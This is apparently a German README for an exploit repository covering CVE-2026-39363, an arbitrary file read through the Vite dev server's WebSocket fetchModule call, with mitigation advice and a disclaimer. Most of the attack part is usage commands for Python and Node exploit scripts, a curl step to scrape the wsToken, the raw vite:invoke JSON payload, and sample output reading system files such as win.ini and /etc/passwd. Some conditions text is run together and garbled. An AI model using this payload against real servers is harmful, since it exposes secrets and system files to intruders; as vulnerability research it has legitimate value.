
Exploit für CVE-2026-39363, eine Schwachstelle zum beliebigen Dateilesen über den WebSocket des Vite Dev Servers, mit Python- und Node.js-Skripten für die automatisierte Ausnutzung sowie manuellen Schritten.
| Eigenschaft | Information |
|---|
| CVE ID | CVE-2026-39363 |
| GHSA ID | GHSA-p9ff-h696-f583 |
| Schwachstellentyp | Arbitrary File Read (Beliebiges Dateilesen) |
| Betroffene Komponente | Vite Dev Server |
| Betroffene Versionen | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| CVSS-Score | High |
| Behobene Version | Vite >= 6.2.3 |
Der WebSocket-fetchModule-RPC-Aufruf des Vite Dev Servers weist eine Umgehung der Sicherheitsprüfung auf.
Schwachstellencode-Stelle: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// Kritischer Schwachstellenpunkt: Wenn die URL file:// ist oder kein importer vorhanden ist
// wird resolveId direkt aufgerufen, ohne die isFileServingAllowed-Prüfung durchzuführen!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...Verarbeitung fortsetzen und Dateiinhalt zurückgeben
}
┌─────────────────────────────────────────────────────────────────┐
│ HTTP-Anfragepfad (mit Sicherheitsprüfung) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOCKIERT │
│ (prüft server.fs.allow) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ WebSocket-Anfragepfad (Prüfung umgangen) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> direkt resolveId │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> hängt von der fs.allow-Konfiguration ab │
│ │ │
│ ▼ │
│ Dateiinhalt erfolgreich zurückgegeben (wenn fs.allow es erlaubt)│
└─────────────────────────────────────────────────────────────────┘
HTTP-Pfad: Durchläuft mehrere Prüfungen über ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed
WebSocket-Pfad:
fetchModule ruft isFileServingAllowed nicht aufisFileLoadingAllowed in loadAndTransform bleibt aktivserver.fs.allow-Konfiguration jedoch zu locker ist, können beliebige Dateien gelesen werden--host)fs.allow: ['..'] - Übergeordnete Verzeichnisse können gelesen werdenfs.allow: ['C:/'] - Das gesamte Laufwerk C kann gelesen werdenfs.strict: false - Vollständig ohne Einschränkungen/@vite/client)# Repository klonen
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# Abhängigkeiten installieren
npm install
# Vite Dev Server starten (mit lockerer Konfiguration zur Schwachstellendemonstration)
npm run dev
# Grundlegende Verwendung (Port automatisch erkennen)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# Datei außerhalb des Projekts lesen
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# Token angeben
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# wsToken abrufen
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# POC ausführen
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # Schwachstellenanalyse-Dokument
├── exp.py # Python-Exploit-Skript
├── poc.js # Node.js POC
├── vite.config.js # Vite-Konfigurationsdatei (für Demo)
├── package.json # Projektkonfiguration
├── src/ # Quellcode-Verzeichnis
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # Statische Ressourcen
└── index.html # Einstiegs-HTML
npm update vite
# oder
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // Nur das Projektstammverzeichnis erlauben
}
}
})
--host zur Exponierung vermeidenDieses Projekt dient ausschließlich Sicherheitsforschungs- und Bildungszwecken. Verwenden Sie diesen Exploit-Code nicht für illegale Aktivitäten. Stellen Sie vor dem Testen mit diesem Code sicher, dass Sie die ausdrückliche Genehmigung des Eigentümers des Zielsystems erhalten haben.
MIT License